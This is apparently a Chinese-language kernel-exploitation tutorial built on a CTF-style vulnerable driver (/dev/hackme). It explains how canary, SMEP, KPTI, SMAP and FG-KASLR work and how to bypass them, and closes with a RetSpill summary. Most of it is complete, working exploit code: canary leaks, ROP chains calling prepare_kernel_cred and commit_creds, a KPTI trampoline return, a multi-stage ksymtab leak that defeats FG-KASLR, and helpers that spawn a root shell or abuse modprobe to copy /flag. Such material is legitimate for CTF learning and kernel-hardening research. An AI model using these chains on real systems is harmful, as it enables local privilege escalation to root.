kernel stack 3: canary+smep+kpti+fg-kaslr绕过

2026-09-25

6. canary+smep+kpti: ROP

6.1 kpti的原理

kpti诞生是为了阻止meltdown漏洞的,核心原理是维护两套页表:一套跟之前一样,有用户态和内核态全量地址的映射,供内核态使用,但是将用户态地址空间标记为不可执行;另一套有用户态全量地址和必要的内核态地址(最小集),供用户态使用。在kpti开启时,在发生系统调用时,会发生页表的切换。
CR(control register)3寄存器即页表的物理地址。

启动命令:

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep,-smap \
    -kernel bzImage \
    -initrd initramfs.cpio.gz \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 nokaslr kpti=1 quiet panic=1" \
    -s

6.2 设置signal handler + ROP 绕过

这是一个非常有意思的机制。
这其实是利用了触发signal自动切换cr3寄存器的机制,另外触发page fault时,也不会保存当前cr3寄存器用于回复。

             内核态
        CR3 = kernel CR3
              │
              │ 忘记 SWITCH_TO_USER_CR3
              ▼
            iretq
              │
              ▼
        CS=0x33 / CPL=3
        RIP=用户代码地址
        CR3=kernel CR3   ← 错误
              │
              │ 取用户指令
              ▼
     kernel CR3 用户区域 NX
              │
              ▼
             #PF
              │
              ▼
        进入 Page Fault
              ↓
        内核异常入口
              ↓
        发现已经是 kernel CR3
              ↓
        保持 kernel CR3
              ↓
        处理 page fault,因为CS & 3 == 3,Linux 会把它当成用户态 page fault。如果无法正常解决这个 execute fault,就可以产生:SIGSEGV
        处理 SIGSEGV
              ↓
          建立 signal frame
              ↓
          pt_regs.RIP = func
              ↓
          swapgs_restore_regs_and_return_to_usermode
              ↓
          SWITCH_TO_USER_CR3
              ↓
          CR3 = user CR3
              ↓
          iretq
              ↓
          CPL3
              ↓
          func()

借用signal的处理机制,反而帮助我们还原了用户态的cr3存放的页表:

unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long cmp_esi_esi_ret = 0xffffffff81906934;
unsigned long mov_rdi_rax_ja_pop_rbp_ret = 0xffffffff818c6ebd;
unsigned long swapgs_pop_rbp_ret = 0xffffffff8100a55f;
unsigned long iretq = 0xffffffff8100c0d9;
unsigned long mov_esp_pop_r12_pop_rbp_ret = 0xffffffff8196f56a;
unsigned long * fake_stack;
int main(){
    // step 0 : save status
    save_status();
    // set signal handler
    signal(SIGSEGV, get_root_shell);
    int fd =open_device();
    // step 1: leak the canary
    unsigned long tmp_buf[50];
    unsigned long size=0x8*50;
    read(fd,tmp_buf,size);
    unsigned long canary = tmp_buf[16];
    printf("canary: 0x%llx\n",canary);

    // step 2: construct fake stack
    fake_stack = mmap(0x5b000000-0x1000, 0x2000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,-1,0);
    int off = 0x1000/8;
    fake_stack[0] = 0xdeadbeef;
    fake_stack[off++] = 0;
    fake_stack[off++] = 0;
    fake_stack[off++] = pop_rdi_ret;
    fake_stack[off++] = 0;
    fake_stack[off++] = prepare_kernel_cred;
    fake_stack[off++] = cmp_esi_esi_ret;
    fake_stack[off++] = mov_rdi_rax_ja_pop_rbp_ret;
    fake_stack[off++] = 0 ;
    fake_stack[off++] = commit_creds;
    fake_stack[off++] = swapgs_pop_rbp_ret;
    fake_stack[off++] = 0; 
    fake_stack[off++] = iretq;
    fake_stack[off++] = (unsigned long )get_root_shell;
    fake_stack[off++] = user_cs;
    fake_stack[off++] = user_rflags;
    fake_stack[off++] = user_sp;
    fake_stack[off++] = user_ss;
    // step 3: construct the payload
    off = 17;
    tmp_buf[off++] = 0;
    tmp_buf[off++] = 0;
    tmp_buf[off++] = 0;
    tmp_buf[off++] = mov_esp_pop_r12_pop_rbp_ret;
    write(fd,tmp_buf,size);    
}

6.3 KPTI trampoline + ROP

绕过方法其实还是ROP,但是因为需要切换页表,我们不知道切换页表要做什么,但是考虑到执行syscall能正常返回,内核里一定有一段关于内核页表切换的代码!
代码位于swapgs_restore_regs_and_return_to_usermode中

cat /proc/kallsyms | grep swapgs_restore_regs_and_return_to_usermode
ffffffff81200f10 T swapgs_restore_regs_and_return_to_usermode

其汇编代码如下:

   0xffffffff81200f10 <_stext+2101008>:	pop    r15
   0xffffffff81200f12 <_stext+2101010>:	pop    r14
   0xffffffff81200f14 <_stext+2101012>:	pop    r13
   0xffffffff81200f16 <_stext+2101014>:	pop    r12
   0xffffffff81200f18 <_stext+2101016>:	pop    rbp
   0xffffffff81200f19 <_stext+2101017>:	pop    rbx
   0xffffffff81200f1a <_stext+2101018>:	pop    r11
   0xffffffff81200f1c <_stext+2101020>:	pop    r10
   0xffffffff81200f1e <_stext+2101022>:	pop    r9
   0xffffffff81200f20 <_stext+2101024>:	pop    r8
   0xffffffff81200f22 <_stext+2101026>:	pop    rax
   0xffffffff81200f23 <_stext+2101027>:	pop    rcx
   0xffffffff81200f24 <_stext+2101028>:	pop    rdx
   0xffffffff81200f25 <_stext+2101029>:	pop    rsi
   0xffffffff81200f26 <_stext+2101030>:	mov    rdi,rsp  //start here
   0xffffffff81200f29 <_stext+2101033>:	mov    rsp,QWORD PTR gs:0x6004
   0xffffffff81200f32 <_stext+2101042>:	push   QWORD PTR [rdi+0x30]
   0xffffffff81200f35 <_stext+2101045>:	push   QWORD PTR [rdi+0x28]
   0xffffffff81200f38 <_stext+2101048>:	push   QWORD PTR [rdi+0x20]
   0xffffffff81200f3b <_stext+2101051>:	push   QWORD PTR [rdi+0x18]
   0xffffffff81200f3e <_stext+2101054>:	push   QWORD PTR [rdi+0x10]
   0xffffffff81200f41 <_stext+2101057>:	push   QWORD PTR [rdi]
   0xffffffff81200f43 <_stext+2101059>:	push   rax
   0xffffffff81200f44 <_stext+2101060>:	xchg   ax,ax
   0xffffffff81200f46 <_stext+2101062>:	mov    rdi,cr3
   0xffffffff81200f49 <_stext+2101065>:	jmp    0xffffffff81200f7f <_stext+2101119>
   ... 
   0xffffffff81200f7f <_stext+2101119>:	or     rdi,0x1000
   0xffffffff81200f86 <_stext+2101126>:	mov    cr3,rdi
   0xffffffff81200f89 <_stext+2101129>:	pop    rax
   0xffffffff81200f8a <_stext+2101130>:	pop    rdi
   0xffffffff81200f8b <_stext+2101131>:	swapgs
   0xffffffff81200f8e <_stext+2101134>:	nop    DWORD PTR [rax]
   0xffffffff81200f91 <_stext+2101137>:	jmp    0xffffffff81200fc0 <_stext+2101184>
   ...
   0xffffffff81200fc0 <_stext+2101184>:	test   BYTE PTR [rsp+0x20],0x4
   0xffffffff81200fc5 <_stext+2101189>:	jne    0xffffffff81200fc9 <_stext+2101193>
   0xffffffff81200fc7 <_stext+2101191>:	iretq  //这里返回

而且 trampoline里自带了swapgs和iretq,还是比较方便的。

unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long cmp_esi_esi_ret = 0xffffffff81906934;
unsigned long mov_rdi_rax_ja_pop_rbp_ret = 0xffffffff818c6ebd;
unsigned long swapgs_pop_rbp_ret = 0xffffffff8100a55f;
unsigned long iretq = 0xffffffff8100c0d9;
unsigned long swapgs_restore_regs_and_return_to_usermode = 0xffffffff81200f10+22;
int main(){
    // step 0 : save status
    save_status();

    int fd =open_device();
    // step 1: leak the canary
    unsigned long tmp_buf[50];
    unsigned long size=0x8*50;
    read(fd,tmp_buf,size);
    unsigned long canary = tmp_buf[16];
    printf("canary: 0x%llx\n",canary);

    // step 2: construct the payload
    int off = 17;
    tmp_buf[off++] = 0;
    tmp_buf[off++] = 0;
    tmp_buf[off++] = 0;
    tmp_buf[off++] = pop_rdi_ret;
    tmp_buf[off++] = 0;
    tmp_buf[off++] = prepare_kernel_cred;
    tmp_buf[off++] = cmp_esi_esi_ret;
    tmp_buf[off++] = mov_rdi_rax_ja_pop_rbp_ret;
    tmp_buf[off++] = 0 ;
    tmp_buf[off++] = commit_creds;
    tmp_buf[off++] = swapgs_restore_regs_and_return_to_usermode;
    tmp_buf[off++] = 0;  // padding
    tmp_buf[off++] = 0;  //padding
    tmp_buf[off++] = (unsigned long )get_root_shell;
    tmp_buf[off++] = user_cs;
    tmp_buf[off++] = user_rflags;
    tmp_buf[off++] = user_sp;
    tmp_buf[off++] = user_ss;
    write(fd,tmp_buf,size);   
}

7. canary+smep+kpti+smap: ROP

7.1 SMAP原理

SMAP本质上和SMEP类似,就是在内核态时,用户态页表会被标记为不可读写。
可以通过设置内核的CR(control register)4寄存器的第21位bit为1来启动该特性。就在SMEP标志位的旁边
qemu启动命令:

#!/bin/sh
qemu-system-x86_64 \
    -m 128M \
    -cpu kvm64,+smep,+smap \
    -kernel bzImage \
    -initrd initramfs.cpio.gz \
    -snapshot \
    -nographic \
    -monitor /dev/null \
    -no-reboot \
    -append "console=ttyS0 nokaslr kpti=1 quiet panic=1" \
    -s

7.2 KPTI trampoline + ROP

原先的代码原封不动就能用:

unsigned long pop_rdi_ret = 0xffffffff81006370;
unsigned long cmp_esi_esi_ret = 0xffffffff81906934;
unsigned long mov_rdi_rax_ja_pop_rbp_ret = 0xffffffff818c6ebd;
unsigned long swapgs_pop_rbp_ret = 0xffffffff8100a55f;
unsigned long iretq = 0xffffffff8100c0d9;
unsigned long swapgs_restore_regs_and_return_to_usermode = 0xffffffff81200f10+22;
int main(){
    // step 0 : save status
    save_status();

    int fd =open_device();
    // step 1: leak the canary
    unsigned long tmp_buf[50];
    unsigned long size=0x8*50;
    read(fd,tmp_buf,size);
    unsigned long canary = tmp_buf[16];
    printf("canary: 0x%llx\n",canary);

    // step 2: construct the payload
    int off = 17;
    tmp_buf[off++] = 0;
    tmp_buf[off++] = 0;
    tmp_buf[off++] = 0;
    tmp_buf[off++] = pop_rdi_ret;
    tmp_buf[off++] = 0;
    tmp_buf[off++] = prepare_kernel_cred;
    tmp_buf[off++] = cmp_esi_esi_ret;
    tmp_buf[off++] = mov_rdi_rax_ja_pop_rbp_ret;
    tmp_buf[off++] = 0 ;
    tmp_buf[off++] = commit_creds;
    tmp_buf[off++] = swapgs_restore_regs_and_return_to_usermode;
    tmp_buf[off++] = 0;  // padding
    tmp_buf[off++] = 0;  //padding
    tmp_buf[off++] = (unsigned long )get_root_shell;
    tmp_buf[off++] = user_cs;
    tmp_buf[off++] = user_rflags;
    tmp_buf[off++] = user_sp;
    tmp_buf[off++] = user_ss;
    write(fd,tmp_buf,size);   
}

但是原本更复杂场景,栈迁移的技术就不可用了。

8. canary+smep+kpti+smap+fg-kaslr: ROP

8.1 kaslr和fg-kaslr

kaslr,是Kernel address space layout randomization的缩写
和用户态aslr类似,kaslr就是kernel地址空间布局随机化。本质上是内核的基地址发生了变化。
传统的kaslr机制的话,通过这道题的越界读问题其实是可以读到kernel image的text段地址的,直接就破解了。然而这道题不一样,它启动了fg-kaslr,Function Granular KASLR,fg-kaslr就是在kernel启动时,以函数为单位重新排列内核代码,且只会增加大约一秒的启动时间,理论上,每个函数为单位重新编排的话,这意味着每个函数的偏移在启动时都会发生变化,那我们不可能在kernel中找到我们想要的gadgets的地址。然而这个机制也是有弱点的。
首先,内核开启fg-kaslr,并不是全部代码都会做fg-kaslr,_text段到__x86_retpoline_r15的部分只会做基本的kaslr。即内核起始的若干区域是不会变化的。因为里面放着特殊的代码,不方便随机化

.text
│
├── startup_64
├── early boot ASM
├── 一些特殊入口代码
└── ...
                         ← 这一段内部布局基本不变
.text.func_C
.text.func_A
.text.func_D
.text.func_B              ← 后面的函数随机排序

查看ida也能看到这段区域:
执行命令也能看到地址:

cat /proc/kallsyms | grep __x86_retpoline_r15
ffffffff81400dc6 T __x86_retpoline_r15

我们可以在这段区域里找gadget:

ROPgadget --binary vmlinux --range 0xffffffff81000000-0xFFFFFFFF81400DC6 > gadgets.txt

虽然内核提权的函数不在此列,但是swapgs_restore_regs_and_return_to_usermode还是存在text段中的。
另外,kernel的符号表ksymtab也不会被随机化。本质上是fg-kaslr只随机化.text.*段,数据段是不会随机化的。
里面记录了偏移信息:

struct kernel_symbol {
	  int value_offset; // 函数符号表地址 和 函数实际布局地址的差值,函数符号表地址+value_offset = 函数实际布局地址。 
	  int name_offset;
	  int namespace_offset;
};

调试的时候可以看看它们的地址:

/ # cat /proc/kallsyms | grep prepare_kernel_cred
ffffffffabd76670 T prepare_kernel_cred
ffffffffac58d4fc r __ksymtab_prepare_kernel_cred

ffffffffac58d4fc+ ff7e9174(本质上相当于-0x816e8c) = ffffffffabd76670

8.2 多次trampoline+ROP

区域有限,可用的gadget太少了,无法通过一次ROP完成利用。只能尝试分段rop的方法。
不过多解释,直接放出完整的exp:

// gcc -fcf-protection=none -masm=intel -static xxx.c -o xxx

#define _GNU_SOURCE
#include <sys/types.h>
#include <stdio.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h> // read, write
#include <stdlib.h>
#include <fcntl.h> // define open, O_RDONLY, O_WRONLY, O_CREAT 
#include <signal.h>
#include <sys/wait.h> // waitpid
#include <poll.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>  // ioctl
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h> // msg_msg 
#include <sched.h> 
#include <stdint.h>


size_t commit_creds= 0xffffffff814c6410;
size_t prepare_kernel_cred =0xffffffff814c67f0;

size_t user_cs;
size_t user_ss;
size_t user_sp;
size_t user_rflags;
void save_status(void){
    __asm__(
        "mov user_cs,cs;"
        "mov user_ss,ss;"
        "mov user_sp,rsp;"
        "pushf;"
        "pop user_rflags;"
    );
    user_sp = user_sp -8;
    printf("\033[34m\033[1m[*] Status has been saved.\033[0m\n");
}

void get_root_shell(void){
    if(getuid())
    {
        printf("\033[31m\033[1m[x] Failed to get the root!\033[0m\n");
        exit(-1);
    }
    printf("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m\n");
    system("/bin/sh");
}

// ret2usr
unsigned long user_rip = (unsigned long)get_root_shell;
__attribute__((naked, noinline))  void escalate_privs(void){
    __asm__(
        "movabs rax, prepare_kernel_cred;" //prepare_kernel_cred
        "xor rdi, rdi;"
	    "call rax; mov rdi, rax;"
	    "movabs rax, commit_creds;" //commit_creds
	    "call rax;"
        "swapgs;"
        "mov r15, user_ss;"
        "push r15;"
        "mov r15, user_sp;"
        "push r15;"
        "mov r15, user_rflags;"
        "push r15;"
        "mov r15, user_cs;"
        "push r15;"
        "mov r15, user_rip;"
        "push r15;"
        "iretq;"
    );
}


// kernel shellcode
__attribute__((naked, noinline)) void privilege_escalation_kernel_shellcode(){
    __asm__ (
        "mov rbx, 0xffffffff810895e0;" //prepare_kernel_cred_addr
        "mov rdi, 0;"
        "call rbx;"     //prepare_kernel_cred(0)
        "mov rdi, rax;" 
        "mov rbx, 0xffffffff810892c0;" //commit_creds_addr
        "call rbx;"
        "nop;"
        "ret;"
    );
}

// modprobe
void environ_set(void){
    puts("[*] Returned to userland, setting up for fake modprobe");
    
    //system("mkdir /tmp");
    system("echo '#!/bin/sh\ncp /flag /tmp/flag\nchmod 777 /tmp/flag' > /tmp/exp");
    system("chmod +x /tmp/exp");

    system("printf '\xff\xff\xff\xff'  > /tmp/dummy");
    system("chmod 777 /tmp/dummy");
    //exit(0);
}
void get_flag(void){
    puts("[*] Run unknown file");
    system("cat /proc/sys/kernel/modprobe");
    system("/tmp/dummy");

    puts("[*] Hopefully flag is readable");
    system("cat /tmp/flag");
    exit(0);
}


// msg_msg 
// make sure the process run in one fixed cpu
static void pin_to_current_cpu(void)
{
    cpu_set_t set;
    int cpu = sched_getcpu();

    if (cpu < 0) {
        fprintf(stderr, "[-] sched_getcpu failed: %s\n", strerror(errno));
        return;
    }

    CPU_ZERO(&set);
    CPU_SET(cpu, &set);
    if (sched_setaffinity(0, sizeof(set), &set) < 0)
        fprintf(stderr, "[-] sched_setaffinity failed: %s\n", strerror(errno));
    else
        fprintf(stderr, "[+] pinned to CPU %d\n", cpu);
}

static void fatal(const char *what)
{
    perror(what);
    exit(EXIT_FAILURE);
}

#define TARGET_OBJECT_SIZE  0x1d0UL          /* need to change according to the situation*/
#define MSG_HEADER_SIZE    0x30UL
#define MSGSEG_HEADER_SIZE 0x08UL
#define DATAMSG_LEN        (0x1000UL - MSG_HEADER_SIZE)       /* 0xfd0 */
#define DATAMSGSEG_LEN     (TARGET_OBJECT_SIZE - MSGSEG_HEADER_SIZE)
#define MESSAGE_SIZE        (DATAMSG_LEN + DATAMSGSEG_LEN)       /* target msg size */

struct message {
    long type;
    unsigned char text[MESSAGE_SIZE];
};

int msg_create_queue(){
    // int key = ftok(".",0); // create a new key and can be found by other process
    // int msg_id = msgget(key,0666| IPC_CREAT);
    int msg_id = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
    if (msg_id < 0)
        fatal("msgget");
    fprintf(stderr, "[+] created SysV message queue %d\n", msg_id);
    return msg_id;
}

void msg_send(int msg_id, void *msg_addr,int msg_size, int flag){
    int mark = msgsnd(msg_id,msg_addr,msg_size,flag);
    if (mark <0){
        fatal("msg send");
    }
}

void msg_recv(int msg_id, void *msg_addr,int msg_size,int msg_type, int flag){
    int received = msgrcv(msg_id, msg_addr, msg_size, msg_type, flag);
    if (received < 0){
        fatal("msgrcv");
    }
}


int open_device(){
    int fd = open("/dev/hackme",O_RDWR);
    if (fd < 0){
		puts("[!] Failed to open device");
		exit(-1);
	} else {
        puts("[*] Opened device");
    }
    return fd;
}

unsigned long ksymtab_prepare_kernel_cred = 0;
unsigned long ksymtab_commit_cred = 0;
unsigned long root_cred=0;
int fd=0;
unsigned long canary = 0;
unsigned long kernel_base = 0;
unsigned long pop_rdi_ret = 0;
unsigned long swapgs_restore_regs_and_return_to_usermode = 0;
unsigned long mov_eax_mem_pop_rbp_ret = 0;
unsigned long pop_rax_ret = 0;

void stage4_call_commit_creds(){
    unsigned long tmp_buf[50];
    unsigned long size = 0x8*50;
    int off = 16;
    tmp_buf[off++] = canary;
    tmp_buf[off++] = 0; //padding
    tmp_buf[off++] = 0; //padding
    tmp_buf[off++] = 0; //padding
    tmp_buf[off++] = pop_rdi_ret;
    tmp_buf[off++] = root_cred;
    tmp_buf[off++] = commit_creds;
    tmp_buf[off++] = swapgs_restore_regs_and_return_to_usermode;
    tmp_buf[off++] = 0; //padding
    tmp_buf[off++] = 0; //padding
    tmp_buf[off++] = (unsigned long)get_root_shell;
    tmp_buf[off++] = user_cs;
    tmp_buf[off++] = user_rflags;
    tmp_buf[off++] = user_sp;
    tmp_buf[off++] = user_ss;    
    write(fd,tmp_buf,size);
    puts("[!] Should never be reached");
}

__attribute__((naked, noinline)) void stage3_get_root_cred(){
    __asm__(
        "mov root_cred, rax;"
    );
    printf("root_cred: %p\n",root_cred);
    stage4_call_commit_creds();
}


void stage3_call_prepare_kernel_cred(){
    unsigned long tmp_buf[50];
    unsigned long size = 0x8*50;
    int off = 16;
    tmp_buf[off++] = canary;
    tmp_buf[off++] = 0; //padding
    tmp_buf[off++] = 0; //padding
    tmp_buf[off++] = 0; //padding
    tmp_buf[off++] = pop_rdi_ret;
    tmp_buf[off++] = 0;
    tmp_buf[off++] = prepare_kernel_cred;
    tmp_buf[off++] = swapgs_restore_regs_and_return_to_usermode;
    tmp_buf[off++] = 0; //padding
    tmp_buf[off++] = 0; //padding
    tmp_buf[off++] = (unsigned long)stage3_get_root_cred;
    tmp_buf[off++] = user_cs;
    tmp_buf[off++] = user_rflags;
    tmp_buf[off++] = user_sp;
    tmp_buf[off++] = user_ss;    
    write(fd,tmp_buf,size);
    puts("[!] Should never be reached");
}

__attribute__((naked, noinline)) void stage2_get_commit_cred_addr(){
    __asm__(
        "mov commit_creds, rax;"
    );
    commit_creds = ksymtab_commit_cred + (int)commit_creds;
    printf("commit_creds addr: %p\n",commit_creds);
    stage3_call_prepare_kernel_cred();
}

void stage2_leak_commit_cred_addr(){
    unsigned long tmp_buf[50];
    unsigned long size = 0x8*50;
    int off = 16;
    tmp_buf[off++] = canary;
    tmp_buf[off++] = 0; //padding
    tmp_buf[off++] = 0; //padding
    tmp_buf[off++] = 0; //padding
    tmp_buf[off++] = pop_rax_ret;
    tmp_buf[off++] = ksymtab_commit_cred;
    tmp_buf[off++] = mov_eax_mem_pop_rbp_ret;
    tmp_buf[off++] = 0; //padding
    tmp_buf[off++] = swapgs_restore_regs_and_return_to_usermode;
    tmp_buf[off++] = 0; //padding
    tmp_buf[off++] = 0; //padding
    tmp_buf[off++] = (unsigned long)stage2_get_commit_cred_addr;
    tmp_buf[off++] = user_cs;
    tmp_buf[off++] = user_rflags;
    tmp_buf[off++] = user_sp;
    tmp_buf[off++] = user_ss;    
    write(fd,tmp_buf,size);
    puts("[!] Should never be reached");
}

__attribute__((naked, noinline)) void stage1_get_kernel_cred_addr(){
    __asm__(
        "mov prepare_kernel_cred, rax;"
    );
    prepare_kernel_cred = ksymtab_prepare_kernel_cred + (int)prepare_kernel_cred;
    printf("prepare_kernel_cred_addr: %p\n",prepare_kernel_cred);
    stage2_leak_commit_cred_addr(); // call next function
}

void stage1_leak_prepare_kernel_cred_addr(){
    unsigned long tmp_buf[50];
    unsigned long size=0x8*50;
    int off = 16;
    tmp_buf[off++] = canary;
    tmp_buf[off++] = 0; //padding
    tmp_buf[off++] = 0; //padding
    tmp_buf[off++] = 0; //padding
    tmp_buf[off++] = pop_rax_ret; 
    tmp_buf[off++] = ksymtab_prepare_kernel_cred;
    tmp_buf[off++] = mov_eax_mem_pop_rbp_ret;
    tmp_buf[off++] = 0;//padding
    tmp_buf[off++] = swapgs_restore_regs_and_return_to_usermode;
    tmp_buf[off++] = 0;  // padding
    tmp_buf[off++] = 0;  //padding
    tmp_buf[off++] = (unsigned long )stage1_get_kernel_cred_addr;
    tmp_buf[off++] = user_cs;
    tmp_buf[off++] = user_rflags;
    tmp_buf[off++] = user_sp;
    tmp_buf[off++] = user_ss;
    write(fd,tmp_buf,size);   
    puts("[!] Should never be reached");
}
int main(){
    // step 0 : save status
    save_status();

    fd =open_device();
    // step 1: leak the canary and linux_base
    unsigned long tmp_buf[50];
    unsigned long size=0x8*50;
    read(fd,tmp_buf,size);
    canary = tmp_buf[16];
    kernel_base = tmp_buf[38]-0xa157;
    printf("canary: 0x%llx\n",canary);
    printf("kernel_base: 0x%llx\n",kernel_base);

    pop_rdi_ret = kernel_base + 0x6370;
    swapgs_restore_regs_and_return_to_usermode = kernel_base +0x200f10+22; 
    ksymtab_prepare_kernel_cred = kernel_base+ 0xf8d4fc; 
    ksymtab_commit_cred = kernel_base + 0xf87d90;
    mov_eax_mem_pop_rbp_ret = kernel_base + 0x15a80;
    pop_rax_ret = kernel_base +0x4d11;
    // step 2: construct the payload
    stage1_leak_prepare_kernel_cred_addr();   
}

9. retspill

RetSpill 提出的是一种 Linux 内核漏洞利用方法:利用系统调用过程中自然保存到内核栈上的用户可控数据,在获得控制流劫持能力后,把这些数据组织成 ROP 链;进一步通过反复执行不同的短链,实现提权、内核读写和内核函数调用。
https://adamdoupe.com/publications/retspill-ccs2023.pdf
https://github.com/sefcom/RetSpill
https://bsauce.github.io/2024/05/21/RetSpill/
本质上讲的是,在获得控制流劫持原语(能够修改内核某个函数指针,并调用它)的情况下,可以利用系统调用,把尽可能多的用户数据传到内核栈上,然后修改内核函数指针为某个add rsp, x; ret的gadget中,微调栈空间,最终完成利用

references

https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/
https://lkmidas.github.io/posts/20210205-linux-kernel-pwn-part-3/
https://trungnguyen1909.github.io/blog/post/matesctf/KSMASH/